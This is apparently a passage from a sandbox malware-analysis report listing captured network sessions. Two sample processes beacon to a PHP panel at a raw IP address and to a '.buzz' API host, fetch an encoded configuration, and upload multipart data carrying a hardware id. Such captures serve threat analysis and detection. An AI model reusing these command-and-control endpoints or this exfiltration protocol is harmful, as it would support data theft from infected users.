Dec 27, 2024 08:42:42.622303963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:43.999982119 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49808	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:45.631238937 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:47.068948030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49817	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:48.821718931 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 27, 2024 08:42:50.215045929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49823	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:51.849621058 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 42 37 31 42 32 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB22B71B25E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 27, 2024 08:42:54.306792021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:42:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49834	185.215.113.43	80	3524	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:42:56.275633097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:40:54 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:40:54 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:40:55 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:40:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=78crmktg5udngdcli6klgoe6s6; expires=Tue, 22 Apr 2025 01:27:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AucsmJz9IdfBdN9r3UDfdlZv4EaU73J4tfGRlt4ccZo3v5CFogS1nngEkaxsbFhWILLnp2DIZPn8lFs8ndD3%2BTuBrOY614zAjVl2i8ZaB2A7UhxUHINi%2FRF5TNrkL0xj%2BoY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aa4a98e043cd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1551&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1793611&cwnd=252&unsent_bytes=0&cid=857aff1878938241&ts=759&x=0"
2024-12-27 07:40:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:40:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:40:56 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 07:40:56 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 07:40:57 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:40:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h9r22keq86p9gu00kse2b20f9k; expires=Tue, 22 Apr 2025 01:27:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MyVdH6zvQO8Qzr4%2F7V%2FwMRei5IaQ2x36EFsRf3%2FVEgdF%2FWOIF6QqVDcNfyqILeKEHI%2Bgk4k7X%2FR3dHve2RRi9fIwOJfXhZ5jW1j0NgHfosuULVUAaXMuW7UMDHcdVorrOpY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aa57ac7d41f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2132&min_rtt=2124&rtt_var=813&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=946&delivery_rate=1332116&cwnd=223&unsent_bytes=0&cid=a4fb343a79b6f0a4&ts=773&x=0"
2024-12-27 07:40:57 UTC	240	IN	Data Raw: 34 39 31 63 0d 0a 7a 57 30 42 64 64 48 39 4d 73 49 4e 63 4a 49 73 49 55 4c 6f 6b 73 6b 62 4e 58 61 45 33 50 2f 67 4b 69 69 4c 55 51 35 77 53 61 65 32 54 33 64 58 36 38 6b 65 34 48 34 56 73 42 5a 56 4d 4a 33 33 35 54 6c 55 45 71 62 6d 6d 59 46 47 57 2b 35 39 4c 41 59 6b 68 66 63 4c 59 42 6d 69 6d 42 37 67 61 41 69 77 46 6e 6f 35 79 76 65 6e 4f 51 39 55 34 62 61 64 67 55 5a 4b 36 6a 70 68 41 43 58 45 70 51 46 6d 48 62 53 65 56 71 4e 68 48 66 64 4a 52 43 4f 43 2f 4b 42 32 58 52 75 6d 38 4e 32 46 55 41 71 78 63 30 4d 56 50 63 61 41 44 48 49 65 38 34 41 65 75 53 38 56 2f 41 34 62 59 49 6e 33 71 33 64 54 45 75 2b 30 6c 34 68 4f 53 2b 38 37 66 68 6b 76 7a 36 55 50 5a 52 79 2b 6c 30 4b 75 61 78 72 38 54 30 34 6a 79 72 Data Ascii: 491czW0BddH9MsINcJIsIULokskbNXaE3P/gKiiLUQ5wSae2T3dX68ke4H4VsBZVMJ335TlUEqbmmYFGW+59LAYkhfcLYBmimB7gaAiwFno5yvenOQ9U4badgUZK6jphACXEpQFmHbSeVqNhHfdJRCOC/KB2XRum8N2FUAqxc0MVPcaADHIe84AeuS8V/A4bYIn3q3dTEu+0l4hOS+87fhkvz6UPZRy+l0Kuaxr8T04jyr
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 37 72 66 6b 39 55 76 76 37 4f 73 45 74 62 2b 43 5a 68 41 69 32 46 73 45 46 36 56 37 53 54 45 50 67 76 47 76 78 41 52 69 4f 46 39 36 70 35 52 52 76 6d 76 5a 57 4b 54 45 44 6d 50 47 4d 63 49 63 4b 6e 42 6d 51 59 74 4a 64 57 72 32 78 53 76 67 35 45 4f 4d 71 6f 36 31 6c 48 46 2b 57 71 6b 4a 4d 49 56 61 63 71 4c 42 55 6e 68 66 64 50 5a 52 6d 79 6b 6c 43 79 5a 78 6e 37 53 31 45 72 67 2f 32 6d 65 56 6f 65 36 62 32 64 68 55 4a 41 35 6a 6c 6f 48 79 62 44 72 77 38 6a 57 66 4f 59 53 4f 41 33 55 74 4e 4c 55 79 65 47 35 75 6c 44 46 77 75 6f 70 39 32 46 52 41 71 78 63 32 51 58 4b 4d 61 6b 41 47 41 66 75 49 31 51 73 6d 6b 66 39 56 78 46 4a 59 54 36 71 47 74 64 47 75 43 39 6c 49 6c 42 54 2b 34 33 4c 46 78 72 77 72 64 50 4f 31 65 53 6b 6c 75 73 5a 51 58 77 44 6c 78 75 6b Data Ascii: 7rfk9Uvv7OsEtb+CZhAi2FsEF6V7STEPgvGvxARiOF96p5RRvmvZWKTEDmPGMcIcKnBmQYtJdWr2xSvg5EOMqo61lHF+WqkJMIVacqLBUnhfdPZRmyklCyZxn7S1Erg/2meVoe6b2dhUJA5jloHybDrw8jWfOYSOA3UtNLUyeG5ulDFwuop92FRAqxc2QXKMakAGAfuI1Qsmkf9VxFJYT6qGtdGuC9lIlBT+43LFxrwrdPO1eSklusZQXwDlxuk
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 62 48 75 43 78 6b 49 34 49 42 4b 6b 30 64 46 4a 7a 68 59 55 4d 64 78 53 35 33 57 57 6a 59 52 7a 33 57 41 4d 2f 78 4f 6e 72 66 6c 74 55 76 76 36 51 67 30 42 4d 2b 7a 78 68 45 53 58 4c 6f 41 70 73 48 37 4f 66 58 61 56 72 47 66 74 4e 54 69 53 59 2b 71 74 78 55 68 58 73 74 4e 33 4d 43 45 33 78 63 7a 52 53 47 74 4b 6b 54 56 59 55 76 5a 46 58 74 69 38 4e 76 6c 63 44 4a 34 61 77 38 7a 6c 61 48 4f 4f 37 6b 6f 4e 43 52 4f 77 35 59 42 6f 6c 78 72 30 41 5a 78 65 2f 6c 31 71 74 59 52 62 34 52 30 67 72 6a 50 43 71 63 78 64 61 70 72 6d 46 77 68 41 4b 33 54 52 67 48 79 53 48 6d 67 78 74 47 62 53 4a 45 4c 38 68 43 37 42 4a 54 32 44 53 73 4b 64 77 56 78 2f 73 75 70 32 46 52 55 2f 71 4e 47 38 66 4c 4d 2b 68 43 47 63 62 75 70 4a 57 6f 47 67 57 39 56 78 47 4b 59 62 38 36 7a Data Ascii: bHuCxkI4IBKk0dFJzhYUMdxS53WWjYRz3WAM/xOnrfltUvv6Qg0BM+zxhESXLoApsH7OfXaVrGftNTiSY+qtxUhXstN3MCE3xczRSGtKkTVYUvZFXti8NvlcDJ4aw8zlaHOO7koNCROw5YBolxr0AZxe/l1qtYRb4R0grjPCqcxdaprmFwhAK3TRgHySHmgxtGbSJEL8hC7BJT2DSsKdwVx/sup2FRU/qNG8fLM+hCGcbupJWoGgW9VxGKYb86z
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 6f 64 4f 62 43 45 33 6c 63 7a 52 53 49 73 79 39 41 57 30 65 76 70 6c 59 70 32 45 66 2b 30 68 49 4a 34 33 32 70 6e 46 61 45 65 57 2f 6d 59 68 61 53 65 49 35 59 52 68 72 69 2b 38 49 65 31 66 72 33 33 65 73 52 67 4c 72 58 46 56 67 6c 62 36 79 4f 56 41 59 70 75 62 64 67 55 64 44 35 6a 74 6b 48 53 54 42 6f 51 6c 6c 47 72 61 51 57 72 4a 6e 48 50 31 46 54 43 75 59 38 4b 5a 39 57 78 44 75 74 5a 66 43 42 67 72 75 4b 79 78 4b 61 2f 43 69 41 47 4d 55 70 64 39 50 37 6e 5a 53 39 30 49 44 65 4d 72 38 70 58 6c 59 47 4f 71 31 6c 59 4e 45 52 4f 34 32 5a 52 6f 6a 31 36 34 4c 61 78 61 39 6b 46 47 6b 61 68 66 30 53 55 63 6d 68 62 44 6c 4f 56 41 4d 70 75 62 64 72 57 39 2f 71 78 4a 57 55 6a 53 4c 74 6b 39 6b 47 2f 50 48 45 4b 78 73 48 76 68 42 52 53 6d 47 2b 71 4a 79 57 78 2f Data Ascii: odObCE3lczRSIsy9AW0evplYp2Ef+0hIJ432pnFaEeW/mYhaSeI5YRhri+8Ie1fr33esRgLrXFVglb6yOVAYpubdgUdD5jtkHSTBoQllGraQWrJnHP1FTCuY8KZ9WxDutZfCBgruKyxKa/CiAGMUpd9P7nZS90IDeMr8pXlYGOq1lYNERO42ZRoj164Laxa9kFGkahf0SUcmhbDlOVAMpubdrW9/qxJWUjSLtk9kG/PHEKxsHvhBRSmG+qJyWx/
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 6b 31 46 36 44 4a 71 41 43 7a 4d 76 51 46 75 47 4c 75 58 57 61 46 72 46 2f 31 49 54 79 71 4c 39 36 56 33 58 31 53 6f 2f 70 71 61 43 42 4b 70 45 6e 77 4a 4f 64 4f 69 4c 6d 34 59 38 34 41 65 75 53 38 56 2f 41 34 62 59 49 50 69 72 33 52 46 48 65 47 77 6b 6f 46 61 53 2b 51 34 66 68 55 6b 77 61 67 44 5a 52 69 31 6e 6c 57 71 59 78 58 31 52 55 77 73 79 72 37 72 66 6b 39 55 76 76 36 7a 69 56 74 64 36 6a 31 6e 42 44 43 46 73 45 46 36 56 37 53 54 45 50 67 76 45 66 74 46 52 79 43 47 38 4b 39 30 56 77 62 70 75 5a 71 4c 51 31 6a 6a 4e 47 73 5a 49 38 36 67 43 58 45 62 76 59 31 56 73 6e 31 53 76 67 35 45 4f 4d 71 6f 36 30 39 51 42 50 61 39 33 37 4e 65 53 66 38 34 59 52 35 72 32 75 45 57 49 78 43 2f 33 77 6a 67 61 52 33 35 54 55 77 68 67 2f 79 6d 66 46 34 52 35 37 69 5a Data Ascii: k1F6DJqACzMvQFuGLuXWaFrF/1ITyqL96V3X1So/pqaCBKpEnwJOdOiLm4Y84AeuS8V/A4bYIPir3RFHeGwkoFaS+Q4fhUkwagDZRi1nlWqYxX1RUwsyr7rfk9Uvv6ziVtd6j1nBDCFsEF6V7STEPgvEftFRyCG8K90VwbpuZqLQ1jjNGsZI86gCXEbvY1Vsn1Svg5EOMqo609QBPa937NeSf84YR5r2uEWIxC/3wjgaR35TUwhg/ymfF4R57iZ
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 6f 6f 4c 41 31 6c 33 4f 38 49 62 31 66 72 33 31 4f 6e 62 42 50 36 52 30 38 76 6a 66 53 35 63 31 41 47 35 37 2b 57 6a 30 52 4b 35 44 35 6d 45 79 4c 49 6f 77 4a 6b 45 4c 79 61 45 4f 34 76 46 65 67 4f 47 32 43 72 2f 61 42 31 44 45 36 6d 6f 64 4f 62 43 45 33 6c 63 7a 52 53 4b 38 2b 71 42 57 34 55 76 4a 78 43 6f 57 6b 41 38 45 4e 4a 4d 6f 44 37 72 6e 52 61 47 65 57 34 6d 34 6c 45 57 4f 41 7a 62 78 6c 72 69 2b 38 49 65 31 66 72 33 33 4f 33 65 52 6a 33 51 6c 55 72 69 2f 4f 39 64 45 64 55 71 50 36 4d 68 56 6b 4b 73 53 56 38 42 53 7a 61 34 52 59 6a 45 4c 2f 66 43 4f 42 70 47 2f 5a 4a 52 53 36 59 39 61 31 32 57 42 33 76 75 70 57 42 53 45 37 74 4e 47 6b 52 4a 38 36 6f 44 47 77 54 75 70 46 5a 72 79 39 63 73 45 6c 62 59 4e 4b 77 69 6d 4a 55 47 4f 76 2b 67 73 78 52 43 Data Ascii: ooLA1l3O8Ib1fr31OnbBP6R08vjfS5c1AG57+Wj0RK5D5mEyLIowJkELyaEO4vFegOG2Cr/aB1DE6modObCE3lczRSK8+qBW4UvJxCoWkA8ENJMoD7rnRaGeW4m4lEWOAzbxlri+8Ie1fr33O3eRj3QlUri/O9dEdUqP6MhVkKsSV8BSza4RYjEL/fCOBpG/ZJRS6Y9a12WB3vupWBSE7tNGkRJ86oDGwTupFZry9csElbYNKwimJUGOv+gsxRC
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 56 4d 34 58 33 54 30 4d 63 70 5a 70 58 74 69 30 6e 38 30 42 4e 4a 35 79 77 74 45 59 5a 56 4f 6d 6b 33 64 70 78 55 36 6b 30 59 46 4a 7a 68 62 6f 49 59 78 43 70 69 56 65 73 66 68 6e 39 51 6d 45 76 6a 65 61 6f 64 6c 51 46 37 2f 4b 57 6a 77 67 45 71 54 52 30 55 6e 4f 46 67 41 68 31 46 4a 79 63 51 61 6b 76 58 4c 42 4a 56 57 44 53 73 4a 55 35 52 52 66 32 76 5a 4b 54 64 67 71 78 4b 6c 4a 53 49 4e 4f 6f 48 32 41 42 75 4a 4a 63 73 56 46 53 71 42 6f 52 63 74 69 69 2b 57 59 58 43 39 6e 77 33 59 4d 49 45 74 41 71 4c 41 52 72 6e 66 31 42 49 77 58 7a 78 78 44 6e 62 41 44 69 53 45 41 32 69 62 65 56 52 33 41 43 37 4c 6d 4e 68 56 39 46 71 58 30 73 48 57 75 64 6c 6b 39 71 45 4b 69 4f 52 71 31 2f 46 62 42 78 44 57 43 53 73 50 4d 35 59 68 66 6f 73 4a 71 55 57 51 66 4f 4a 57 Data Ascii: VM4X3T0McpZpXti0n80BNJ5ywtEYZVOmk3dpxU6k0YFJzhboIYxCpiVesfhn9QmEvjeaodlQF7/KWjwgEqTR0UnOFgAh1FJycQakvXLBJVWDSsJU5RRf2vZKTdgqxKlJSINOoH2ABuJJcsVFSqBoRctii+WYXC9nw3YMIEtAqLARrnf1BIwXzxxDnbADiSEA2ibeVR3AC7LmNhV9FqX0sHWudlk9qEKiORq1/FbBxDWCSsPM5YhfosJqUWQfOJW
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 6b 51 35 75 47 50 2b 52 57 36 42 6f 41 75 5a 56 44 79 69 4a 36 72 46 48 61 54 2f 71 75 4a 71 59 54 30 7a 50 45 79 78 63 61 38 72 76 56 31 70 58 2b 39 39 76 37 69 38 4b 73 42 59 44 46 59 6e 2b 70 58 35 42 42 61 75 57 76 72 68 79 43 4d 55 30 65 56 41 66 77 72 38 65 61 42 71 2f 33 78 37 67 61 56 4b 6f 48 67 31 67 6a 75 48 72 49 51 64 47 76 65 76 4f 31 52 67 59 39 6e 31 31 55 6a 32 46 39 31 30 74 56 36 48 66 43 4f 41 6f 45 65 4a 63 52 53 4f 63 38 2b 78 48 61 54 50 6f 75 5a 79 55 57 46 33 6d 44 56 49 48 4b 4d 75 68 43 48 55 47 38 39 45 51 72 79 39 4b 79 51 34 4c 59 4c 57 2b 36 32 45 58 54 4b 61 4c 6e 6f 78 47 54 66 38 69 49 54 55 6c 77 71 34 5a 63 77 43 38 33 78 37 67 61 56 4b 6f 48 41 31 67 6a 75 48 72 49 51 64 47 76 65 76 4f 31 52 67 59 39 6e 31 31 55 6a 32 Data Ascii: kQ5uGP+RW6BoAuZVDyiJ6rFHaT/quJqYT0zPEyxca8rvV1pX+99v7i8KsBYDFYn+pX5BBauWvrhyCMU0eVAfwr8eaBq/3x7gaVKoHg1gjuHrIQdGvevO1RgY9n11Uj2F910tV6HfCOAoEeJcRSOc8+xHaTPouZyUWF3mDVIHKMuhCHUG89EQry9KyQ4LYLW+62EXTKaLnoxGTf8iITUlwq4ZcwC83x7gaVKoHA1gjuHrIQdGvevO1RgY9n11Uj2
2024-12-27 07:40:57 UTC	1369	IN	Data Raw: 78 71 38 6d 42 4b 41 61 41 54 7a 44 67 31 67 68 72 44 7a 4f 56 59 65 39 72 4f 53 68 51 52 4e 38 7a 51 73 58 47 76 4c 37 31 63 6a 46 72 6d 50 58 61 39 6f 58 76 5a 41 54 57 43 56 76 72 49 35 51 56 53 2b 37 64 50 43 57 67 71 78 63 79 73 52 4f 64 65 70 44 48 55 55 39 4b 46 75 6a 58 30 56 34 45 30 42 45 59 66 30 76 57 78 55 42 4f 47 41 6f 36 39 61 54 66 6b 77 4c 69 4d 39 78 71 38 42 5a 46 66 39 33 30 6a 67 4e 31 4c 64 58 45 51 77 69 62 44 6c 4f 56 74 55 76 76 36 51 6b 45 39 61 36 6e 39 72 43 43 79 46 73 45 46 36 56 36 58 66 43 50 4d 68 55 75 49 4f 47 32 44 4e 2f 71 5a 34 56 42 72 6c 72 49 2b 45 53 31 7a 71 64 46 49 73 42 74 65 6f 48 32 42 56 67 70 4a 55 74 6e 6f 52 34 45 6c 39 48 71 66 69 72 47 6c 55 56 73 71 35 6b 49 35 32 64 4e 34 69 61 77 4a 70 34 36 77 5a Data Ascii: xq8mBKAaATzDg1ghrDzOVYe9rOShQRN8zQsXGvL71cjFrmPXa9oXvZATWCVvrI5QVS+7dPCWgqxcysROdepDHUU9KFujX0V4E0BEYf0vWxUBOGAo69aTfkwLiM9xq8BZFf930jgN1LdXEQwibDlOVtUvv6QkE9a6n9rCCyFsEF6V6XfCPMhUuIOG2DN/qZ4VBrlrI+ES1zqdFIsBteoH2BVgpJUtnoR4El9HqfirGlUVsq5kI52dN4iawJp46wZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49706	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:40:59 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9FBCSLTVETXYP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12816 Host: mindhandru.buzz
2024-12-27 07:40:59 UTC	12816	OUT	Data Raw: 2d 2d 39 46 42 43 53 4c 54 56 45 54 58 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 38 46 34 43 35 44 41 43 44 36 31 36 43 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 39 46 42 43 53 4c 54 56 45 54 58 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 46 42 43 53 4c 54 56 45 54 58 59 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 46 42 43 53 4c 54 56 45 54 58 Data Ascii: --9FBCSLTVETXYPContent-Disposition: form-data; name="hwid"1B8F4C5DACD616CBBEBA0C6A975F1733--9FBCSLTVETXYPContent-Disposition: form-data; name="pid"2--9FBCSLTVETXYPContent-Disposition: form-data; name="lid"PsFKDg--pablo--9FBCSLTVETX
2024-12-27 07:41:01 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:41:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u4552r9t41rp1333egemtb3ji7; expires=Tue, 22 Apr 2025 01:27:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Havt7VrRDM2GrMsyInkgtc2w%2F7Zze25FmKMwZOHA%2BuYawFdJx1Jqig8Oh22Bwou3u7%2FXTp4SPtLugr7DAXlD4YuKhx0TZk9O8lBIi5V%2F9mmQ25AuKGtW7TYxT1quzwpyO%2Fo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87aa675f2c0c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1549&rtt_var=653&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13750&delivery_rate=1885087&cwnd=32&unsent_bytes=0&cid=b4dd7c787bb53af8&ts=2196&x=0"
2024-12-27 07:41:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:41:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49707	172.67.165.185	443	3164	C:\Users\user\Desktop\oTZfvSwHTq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:41:03 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BHR14YGECH7SF63P7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: mindhandru.buzz
